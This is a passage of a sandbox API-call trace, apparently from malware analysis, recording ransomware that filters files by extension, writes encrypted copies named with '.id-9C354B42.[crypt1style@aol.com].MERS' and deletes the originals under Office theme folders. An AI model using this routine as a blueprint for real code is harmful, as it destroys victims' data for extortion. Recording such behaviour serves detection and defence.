75 [0048.857] lstrlenW (lpString=".doc") returned 4 [0048.857] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString=".docx") returned 5 [0048.858] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.858] lstrlenW (lpString=".pdf") returned 4 [0048.858] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString=".xls") returned 4 [0048.858] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.858] lstrlenW (lpString=".xlsx") returned 5 [0048.858] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.858] lstrlenW (lpString=".ppt") returned 4 [0048.858] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString=".zip") returned 4 [0048.858] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.858] lstrlenW (lpString=".rar") returned 4 [0048.858] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.858] lstrlenW (lpString=".bz2") returned 4 [0048.858] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString=".7z") returned 3 [0048.858] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString=".dbf") returned 4 [0048.858] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString=".1cd") returned 4 [0048.858] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString=".jpg") returned 4 [0048.858] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.858] lstrlenW (lpString=".doc") returned 4 [0048.858] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString=".docx") returned 5 [0048.858] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.858] lstrlenW (lpString=".pdf") returned 4 [0048.858] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.858] lstrlenW (lpString=".xls") returned 4 [0048.859] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.859] lstrlenW (lpString=".xlsx") returned 5 [0048.859] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.859] lstrlenW (lpString=".ppt") returned 4 [0048.859] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.859] lstrlenW (lpString=".zip") returned 4 [0048.859] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.859] lstrlenW (lpString=".rar") returned 4 [0048.859] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.859] lstrlenW (lpString=".bz2") returned 4 [0048.859] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.859] lstrlenW (lpString=".7z") returned 3 [0048.859] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.859] lstrlenW (lpString=".dbf") returned 4 [0048.859] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.859] lstrlenW (lpString=".1cd") returned 4 [0048.859] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.859] lstrlenW (lpString=".jpg") returned 4 [0048.859] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.859] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.859] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.860] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1379) returned 1 [0048.860] CloseHandle (hObject=0x1e4) returned 1 [0048.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0048.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.860] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.860] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.963] GetLastError () returned 0x0 [0048.963] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x563, lpOverlapped=0x0) returned 1 [0049.359] WriteFile (in: hFile=0x214, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0049.371] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.371] WriteFile (in: hFile=0x214, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.371] SetEndOfFile (hFile=0x214) returned 1 [0049.371] CloseHandle (hObject=0x214) returned 1 [0049.371] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.371] SetEndOfFile (hFile=0x1e4) returned 1 [0049.372] CloseHandle (hObject=0x1e4) returned 1 [0049.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.372] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".doc") returned 4 [0049.373] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.373] lstrlenW (lpString=".docx") returned 5 [0049.373] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.373] lstrlenW (lpString=".pdf") returned 4 [0049.373] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString=".xls") returned 4 [0049.373] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString=".xlsx") returned 5 [0049.373] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.373] lstrlenW (lpString=".ppt") returned 4 [0049.373] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".zip") returned 4 [0049.373] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString=".rar") returned 4 [0049.373] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString=".bz2") returned 4 [0049.373] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.373] lstrlenW (lpString=".7z") returned 3 [0049.373] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".dbf") returned 4 [0049.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".1cd") returned 4 [0049.373] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".jpg") returned 4 [0049.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.373] lstrlenW (lpString=".doc") returned 4 [0049.374] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.374] lstrlenW (lpString=".docx") returned 5 [0049.374] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.374] lstrlenW (lpString=".pdf") returned 4 [0049.374] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.374] lstrlenW (lpString=".xls") returned 4 [0049.374] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.374] lstrlenW (lpString=".xlsx") returned 5 [0049.374] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.374] lstrlenW (lpString=".ppt") returned 4 [0049.374] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.374] lstrlenW (lpString=".zip") returned 4 [0049.374] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.374] lstrlenW (lpString=".rar") returned 4 [0049.374] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.374] lstrlenW (lpString=".bz2") returned 4 [0049.374] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.374] lstrlenW (lpString=".7z") returned 3 [0049.374] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.374] lstrlenW (lpString=".dbf") returned 4 [0049.374] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.374] lstrlenW (lpString=".1cd") returned 4 [0049.374] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0049.374] lstrlenW (lpString=".jpg") returned 4 [0049.374] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.374] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.374] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.375] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1339) returned 1 [0049.375] CloseHandle (hObject=0x1e4) returned 1 [0049.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0049.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.375] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.375] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.672] GetLastError () returned 0x0 [0049.673] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x53b, lpOverlapped=0x0) returned 1 [0049.739] WriteFile (in: hFile=0x200, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x540, lpOverlapped=0x0) returned 1 [0049.740] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.740] WriteFile (in: hFile=0x200, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.740] SetEndOfFile (hFile=0x200) returned 1 [0049.740] CloseHandle (hObject=0x200) returned 1 [0049.741] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.741] SetEndOfFile (hFile=0x1e4) returned 1 [0049.741] CloseHandle (hObject=0x1e4) returned 1 [0049.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.742] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0049.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.747] lstrlenW (lpString=".doc") returned 4 [0049.747] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.747] lstrlenW (lpString=".docx") returned 5 [0049.747] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.747] lstrlenW (lpString=".pdf") returned 4 [0049.747] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.747] lstrlenW (lpString=".xls") returned 4 [0049.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.747] lstrlenW (lpString=".xlsx") returned 5 [0049.747] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.747] lstrlenW (lpString=".ppt") returned 4 [0049.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.747] lstrlenW (lpString=".zip") returned 4 [0049.747] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.747] lstrlenW (lpString=".rar") returned 4 [0049.747] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.747] lstrlenW (lpString=".bz2") returned 4 [0049.747] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.747] lstrlenW (lpString=".7z") returned 3 [0049.747] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.747] lstrlenW (lpString=".dbf") returned 4 [0049.747] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.747] lstrlenW (lpString=".1cd") returned 4 [0049.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.748] lstrlenW (lpString=".jpg") returned 4 [0049.748] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.748] lstrlenW (lpString=".doc") returned 4 [0049.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.748] lstrlenW (lpString=".docx") returned 5 [0049.748] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.748] lstrlenW (lpString=".pdf") returned 4 [0049.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.748] lstrlenW (lpString=".xls") returned 4 [0049.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.748] lstrlenW (lpString=".xlsx") returned 5 [0049.748] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.748] lstrlenW (lpString=".ppt") returned 4 [0049.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.748] lstrlenW (lpString=".zip") returned 4 [0049.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.750] lstrlenW (lpString=".rar") returned 4 [0049.750] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.750] lstrlenW (lpString=".bz2") returned 4 [0049.750] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.750] lstrlenW (lpString=".7z") returned 3 [0049.751] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.751] lstrlenW (lpString=".dbf") returned 4 [0049.751] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.751] lstrlenW (lpString=".1cd") returned 4 [0049.751] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0049.751] lstrlenW (lpString=".jpg") returned 4 [0049.751] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.751] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.751] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.855] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1666) returned 1 [0049.855] CloseHandle (hObject=0x20c) returned 1 [0049.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0049.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.855] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.856] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.856] GetLastError () returned 0x0 [0049.856] ReadFile (in: hFile=0x20c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x682, lpOverlapped=0x0) returned 1 [0049.888] WriteFile (in: hFile=0x1ec, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x690, lpOverlapped=0x0) returned 1 [0049.890] ReadFile (in: hFile=0x20c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.890] WriteFile (in: hFile=0x1ec, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x1ec) returned 1 [0049.890] CloseHandle (hObject=0x1ec) returned 1 [0049.890] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.890] SetEndOfFile (hFile=0x20c) returned 1 [0049.891] CloseHandle (hObject=0x20c) returned 1 [0049.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0049.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0049.891] lstrlenW (lpString=".doc") returned 4 [0049.891] 